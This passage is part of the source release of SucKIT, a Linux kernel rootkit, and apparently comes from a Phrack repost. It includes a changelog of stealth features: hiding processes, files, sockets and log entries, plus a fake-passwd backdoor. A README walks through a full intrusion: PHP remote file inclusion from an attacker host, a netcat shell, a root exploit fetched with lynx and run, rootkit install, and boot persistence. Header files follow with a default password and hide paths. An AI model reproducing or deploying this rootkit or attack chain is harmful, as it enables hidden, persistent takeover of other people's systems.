    play a bit with int 0x80 ;)) kmalloc search engine was written by
    devik too, many thanks to him!
    ---------------------------------------------------------------------------
    Version 0.3d:
    - I got 2.4.10 kernel and things are _totally_ fucked up,
    nothing didn't work, kmalloc search engine was gone and so on ..
    So i decided to rewrite code from scratch,
    divide it to more files.
    Version 0.3c: (PUBLIC)
    - added getdents64 (interesting for 2.4.x kernel, but compatibility
    still not guaranted)
    Version 0.3b:
    - added `scp` sniffing
    - no sniffing of hidden users anymore!
    Version 0.3: (PUBLIC)
    - Punk. Fool. We don't need LKM support anymore !!!
    We're able to heuristically abtain (with 80% accuracy ;)
    sys_call_table[] and kmalloc() directly from /dev/kmem !!!
    third release under GNU/GPL
    Version 0.23a:
    - completely rewritten new_getdents(), fixed major bugs,
    but still sometimes crashes unpredictabely ;-(
    Version 0.22b:
    - rcscript is executed as invisible by nature ;)
    Version 0.22a:
    - Fixed "unhide all" bug, feature works now
    Version 0.21a:
    - added ssh2d support
    Version 0.2a:
    - fixed ugly bug in that suckit forgets to hide some invisible
    pids (on high loads) without reason !!
    (thx. to [email protected] ;)
    Version 0.2: (PUBLIC)
    - Cleanup (the suckit.h thing, etc),
    l33t bash skripts (flares, mk, inst),
    second (BUGFIX) release under GNU/GPL
    Version 0.13a:
    - Filters out the syslogd's lines of us while we logginin' in/out,
    WE'RE TOTALLY INVISIBLE NOW!
    Version 0.12a:
    - Finally! We're able to hide our TCP/UDP/RAW sockets in netstat!
    Everything done usin' stealth techniqe for /proc/net/tcp|udp|raw
    Version 0.11b:
    - We hide the fact that someone sets PROMISC flag on some eth iface
    (thru ioctl)
    Version 0.11a:
    - Fixed the weird bug in check_names() so we're able to stay in
    kernel for more than 2 hours without consuming a lotta of memory
    and rebooting (thx. to [email protected])
    Version 0.1: (PUBLIC):
    - General code cleanup, released first version under GNU/GPL
    Version 0.08a:
    - Added suid=0 fakeshell thing, because some hosts don't like uid=0
    users remotely logged in ;)
    Version 0.07c:
    - Fixed bug with kernel's symbol versions (strncmp ownz! ;) while
    we importin' symbols
    Version 0.07b:
    - Added the `config` crap ;)
    Version 0.07a:
    - Everything joined into one executable ;)
    Compilation divided into three parts:
    .C -> .S, .S -> our_parses -> .s, .s -> binary
    Version 0.06a:
    - Fixed major bugs with small buffers, added PID hidding and our
    PID tracking system, leaved from using 'task_struct *current'
    and other kernel structures, so the code can work on any kernel
    of 2.2.x without recompilation !
    Version 0.05a:
    - solved our problem with 'who', we forbid any write to
    utmp/wtmp/lastlog containing our username ;)
    Version 0.04a:
    - "backdoor" over fake /etc/passwd for remote services
    (telnet, rsh, ssh), but we are still visible in `who` ;(
    Version 0.03a:
    - First relocatable code, we still do only one thing
    (hiding files), divided into two parts object module
    (normal, vanilla kernel-LKM ;) and Silvio's kinsmod
    (which places it to kernel space thru /dev/kmem)
    Version 0.02b:
    - Finally! We're able to allocate kernel memory thru kmalloc() !
    But the code does nothing ;(
    Version 0.02a:
    - First executable code, we're overwriting kernel-code at static
    address.
    Fixed one major bug:
    [rewt@pikatchu ~]# ./suckit
    bash: ./suckit: No such file or directory
    Version 0.01a:
    - uhm, no real code, just only concept in my head
    <--> ./doc/CHANGES
    <++> ./doc/README
    suc-kit - Super User Control Kit, (c)ode by [email protected] & [email protected], 2001
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Works on: 2.2.x, 2.4.x linux kernels (2.0.x should too, but not tested)
    SucKIT
    ~~~~~~
    - Code by sd <[email protected]>, sd@ircnet
    - kmalloc() & idt/int 0x80 crap by devik <[email protected]>
    - Thanks to:
    Silvio Cesare for his excellent articles
    halflife (for opening my eyes to look around LKM's)
    QuantumG for example in STAOG
    Description
    ~~~~~~~~~~~
    Suckit (stands for stupid 'super user control kit') is another of
    thousands linux rootkits, but it's unique in some ways:
    Features:
    - Full password protected remote access connect-back shell
    initiated by spoofed packet (bypassing most of firewall
    configurations)
    - Full tty/pty, remote enviroment export + setting up win size
    while client gets SIGWINCH
    - It can work totally alone (without libs, gcc ...) using only
    syscalls (this applies only to server side, client is running
    on your machine, so we can use libc ;)
    - It can hide processes, files and connections
    (f00led: fuser, lsof, netstat, ps & top)
    - No changes in filesystem
    Disadvantages:
    - Non-portable, i386-linux specific
    - Buggy as hell ;)
    Instead of long explaining how to use it, small example is better:
    An real example of complete attack (thru PHP bug):
    [[email protected] ~/sk10]$ ./sk c
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
    * (c)oded by [email protected] & [email protected], 2001 *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    Usage:
    ./sk [command] [arg]
    Commands:
    u uninstall
    t test
    i <pid> make pid invisible
    v <pid> make pid visible (0 = all)
    f [0/1] toggle file hiding
    p [0/1] toggle proc hiding
    configuration:
    c <hidestr> <password> <home>
    invoking without args will install rewtkit into memory
    [[email protected] ~/sk10]$ ./sk c l33t bublifuck /usr/share/man/man4/l33t
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
    * (c)oded by [email protected] & [email protected], 2001 *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    Configuring ./sk:
    OK!
    [[email protected] ~/sk10]$ telnet lamehost.com 80
    Trying 192.160.0.2...
    Connected to lamehost.com.
    Escape character is '^]'.
    GET /bighole.php3?inc=http://badass.cz/egg.php3 HTTP/1.1
    Host: lamehost.com
    HTTP/1.1 200 OK
    Date: Thu, 18 Oct 2001 04:04:52 GMT
    Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) PHP/4.0.4pl1
    Last-Modified: Fri, 28 Sep 2001 04:42:34 GMT
    ETag: "31c6-c2-3bb3ffba"
    Content-Type: text/html
    IT WERKS! Shell at port 8193Connection closed by foreign host.
    [[email protected] ~/sk10]$ nc -v lamehost.com 8193
    lamehost.com [192.168.0.2] 8193 (?) open
    w
    12:08am up 1:20, 3 users, load average: 0.05, 0.06, 0.08
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    root tty1 - 11:58pm 39:03 3.15s 2.95s bash
    cd /tmp
    lynx -dump http://badass.cz/s.c > s.c
    gcc s.c -o super-duper-hacker-user-rooter
    ./super-duper-hacker-user-rooter
    id
    uid=0(root) gid=0(root) groups=0(root)
    cd /usr/local/man/man4
    mkdir .l33t
    cd .l33t
    lynx -dump http://badass.cz/~attacker/sk10/sk > sk
    chmod +s+u sk
    ./sk
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
    * (c)oded by [email protected] & [email protected], 2001 *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    Getting kernel stuff...OK
    page_offset : 0xc0000000
    sys_call_table[] : 0xc01e5920
    int80h dispatch : 0xc0106cef
    kmalloc() : 0xc0127a20
    GFP_KERNEL : 0x000001f0
    punk_addr : 0xc010b8e0
    punk_size : 0x0000001c (28 bytes)
    our kmem region : 0xc0f94000
    size of our kmem : 0x00003af2 (15090 bytes)
    new_call_table : 0xc0f968f2
    # of relocs : 0x0000015d (349)
    # of syscalls : 0x00000012 (18)
    And nooooow....Shit happens!! -> WE'RE IN <-
    Starting backdoor daemon...OK, pid = 2101
    exit
    exit
    [[email protected] ~/sk10]$ su
    Password:
    [[email protected] ~/sk10]# ./cli lamehost.com
    Looking up badass.cz...OK
    Looking up lamehost.com...OK
    Trying 192.168.0.2.....
    Challenging lamehost.com
    Connected to lamehost.com
    Escape character is '^K'
    Password:
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
    * (c)oded by [email protected] & [email protected], 2001 *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    [[email protected] ~]# ps uwxa | grep ps
    [[email protected] ~]# cp sk /etc/rc.d/rc3.d/S99l33t
    [[email protected] ~]# exit
    Connection closed.
    [[email protected] ~/sk10]#
    ...and so on...
    -- [email protected] (sd@ircnet)
    <--> ./doc/README
    <++> ./doc/TODO
    - some RSA for communication
    - connection-less TCP for remote shell
    - sniff everything & everywhere (tty's mostly ;)
    - some kinda of spin-locking on SMPs
    <--> ./doc/TODO
    <++> ./include/suckit.h
    /* $Id: suckit.h, core suckit defs */
    #ifndef SUCKIT_H
    #define SUCKIT_H
    #ifndef __NR_getdents64
    #define __NR_getdents64 220
    #endif
    #define OUR_SIGN OURSIGN
    #define RC_FILE RCFILE
    #define DEFAULT_HOME "/usr/share/man/.sd"
    #define DEFAULT_HIDESTR "sk10"
    #define DEFAULT_PASSWD "bublifuck"
    /* cmd stuff */
    #define CMD_TST 1 /* test */
    #define CMD_INV 2 /* make pid invisible */
    #define CMD_VIS 3 /* make pid visible */
    #define CMD_RMV 4 /* remove from memory */
    #define CMD_GFL 5 /* get flags */
    #define CMD_SFL 6 /* set flags */
    #define CMD_BDR 7
    #define SYS_COUNT 256
    #define CMD_FLAG_HP 1
    #define CMD_FLAG_HF 2
    /* crappy stuff */
    #define BANNER \
    "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n" \
    "* SUCKIT " SUCKIT_VERSION " - New, singing, dancing, world-smashing" \
    " rewtkit *\n" \
    "* (c)oded by [email protected] & [email protected], 2001 *\n" \
    "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n"
    #define BAD1 "/proc/net/tcp"
    #define BAD2 "/proc/net/udp"
    #define BAD3 "/proc/net/raw"
    /* kernel related stuff */
    #define SYSCALL_INTERRUPT 0x80
    #define KMEM_FILE "/dev/kmem"
    #define MAX_SYMS 4096
    #define MAX_PID 512
    #define PUNK 109 /* victim syscall - old_uname */
    /* for 2.4.x */
    #define KMEM_FLAGS (0x20 + 0x10 + 0x40 + 0x80 + 0x100)
    /* typedef's */
    #define ulong unsigned long
    #define uint unsigned int
    #define ushort unsigned short
    #define uchar unsigned char
    struct kernel_sym {
    ulong value;
    uchar name[60];
    };
    struct new_call {
    uint nr;
    void *handler;
    void **old_handler;
    } __attribute__ ((packed));
    /* this struct __MUST__ correspond with c0r3 header stuff in
    utils/parse.c ! */
    struct obj_struc {
    ulong obj_len;
    ulong bss_len;
    void *punk;
    uint *punk_size;
    struct new_call *new_sct;
    ulong *sys_call_table;
    /* these values will be passed to image */
    ulong page_offset;
    ulong syscall_dispatch;
    ulong *old_call_table;
    } __attribute__ ((packed));
    /* struct for communication between kernel <=> userspace */
    struct cmd_struc {
    ulong id;
    ulong cmd;
    ulong num;
    char buf[1024];
    } __attribute__ ((packed));
    struct kma_struc {
    ulong (*kmalloc) (uint, int);
    int size;
    int flags;
    ulong mem;
    } __attribute__ ((packed));
    struct mmap_arg_struct {
    unsigned long addr;
    unsigned long len;
    unsigned long prot;
    unsigned long flags;
    unsigned long fd;
    unsigned long offset;
    unsigned long lock;
    };
    struct de64 {
    ulong long d_ino;
    ulong long d_off;
    unsigned short d_reclen;
    uchar d_type;
    uchar d_name[256];
    };
    struct de {
    long d_ino;
    uint d_off;
    ushort d_reclen;
    char d_name[256];
    };
    struct net_struc {
    int fd;
    int len;
    int pos;
    int data_len;
    char dat[1];
    };
    struct pid_struc {
    ushort pid;
    struct net_struc *net;
    uchar hidden;
    } __attribute__ ((packed));
    struct config_struc {
    uchar magic[8];
    uchar hs[32];
    uchar pwd[32];
    uchar home[64];
    };
    #define mmap_arg ((struct mmap_arg_struct *) \
    (page_offset - sizeof(struct mmap_arg_struct)) )
    #define MM_LOCK 0x1023AFAF
    #define PAGE_SIZE 4096
    #define PAGE_RW (PROT_READ | PROT_WRITE)
    #ifndef O_RDONLY
    #define O_RDONLY 0
    #endif
    #ifndef O_WRONLY
    #define O_WRONLY 1
    #endif
    #ifndef O_RWDR
    #define O_RDWR 2
    #endif
    /* debug stuff */
    #ifdef SK_DEBUG
    #define skd(fmt,args...) printf(fmt, args)
    #else
    #define skd(fmt,args...) while (0) {}
    #endif
    #endif
    <--> ./include/suckit.h
    <++> ./include/asm.h
    /* $Id: asm.h, assembly related stuff */
    #ifndef ASM_H
    #define ASM_H
    struct idtr {
    unsigned short limit;
    unsigned int base;
    } __attribute__ ((packed));
    struct idt {
    unsigned short off1;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off2;
    } __attribute__ ((packed));
    #endif
    <--> ./include/asm.h
    <++> ./include/ip.h
    /* $Id: ip.h, raw TCP/IP stuff */
    struct rawdata {
    ulong id;
    ulong ip;
    ushort port;
    };
    struct ippkt {
    struct ip ip;
    struct tcphdr tcp;
    char something[12];
    char data[1024];
    };
    struct pseudohdr {
    u_int32_t saddr;
    u_int32_t daddr;
    u_int8_t zero;
    u_int8_t protocol;
    u_int16_t lenght;
    };
    u_short in_chksum(u_short *ptr, int nbytes)
    {
    register long sum; /* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer; /* assumes u_short == 16 bits */
    /*
    * Our algorithm is simple, using a 32-bit accumulator (sum),
    * we add sequential 16-bit words to it, and at the end, fold back
    * all the carry bits from the top 16 bits into the lower 16 bits.
    */
    sum = 0;
    while (nbytes > 1)
    {
    sum += *ptr++;
    nbytes -= 2;
    }
    /* mop up an odd byte, if necessary */
    if (nbytes == 1)
    {
    oddbyte = 0; /* make sure top half is zero */
    *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
    sum += oddbyte;
    }
    /*
    * Add back carry outs from top 16 bits to low 16 bits.
    */
    sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
    sum += (sum >> 16); /* add carry */
    answer = ~sum; /* ones-complement, then truncate to 16 bits */
    return((u_short) answer);
    }
    <--> ./include/ip.h
    <++> ./include/str.h
    /*
    * linux/lib/string.c
    *
    * Copyright (C) 1991, 1992 Linus Torvalds
    */
    #ifndef STRING_H
    #define STRING_H
    #ifndef NULL
    #define NULL (void *) 0
    #endif
    extern char * ___strtok;
    extern char * strpbrk(const char *,const char *);
    extern char * strtok(char *,const char *);
    extern char * strsep(char **,const char *);
    extern unsigned strspn(const char *,const char *);
    extern char * strcpy(char *,const char *);
    extern char * strncpy(char *,const char *, unsigned);
    extern char * strcat(char *, const char *);
    extern char * strncat(char *, const char *, unsigned);
    extern int strcmp(const char *,const char *);
    extern int strncmp(const char *,const char *,unsigned);
    extern int strnicmp(const char *, const char *, unsigned);
    extern char * strchr(const char *,int);
    extern char * strrchr(const char *,int);
    extern char * strstr(const char *,const char *);
    extern unsigned strlen(const char *);
    extern unsigned strnlen(const char *,unsigned);
    extern void * memset(void *,int,unsigned);
    extern void * memcpy(void *,const void *,unsigned);
    extern void * memmove(void *,const void *,unsigned);
    extern void * memscan(void *,int,unsigned);
    extern int memcmp(const void *,const void *,
    发布人:jjk 来自:www.phrack.org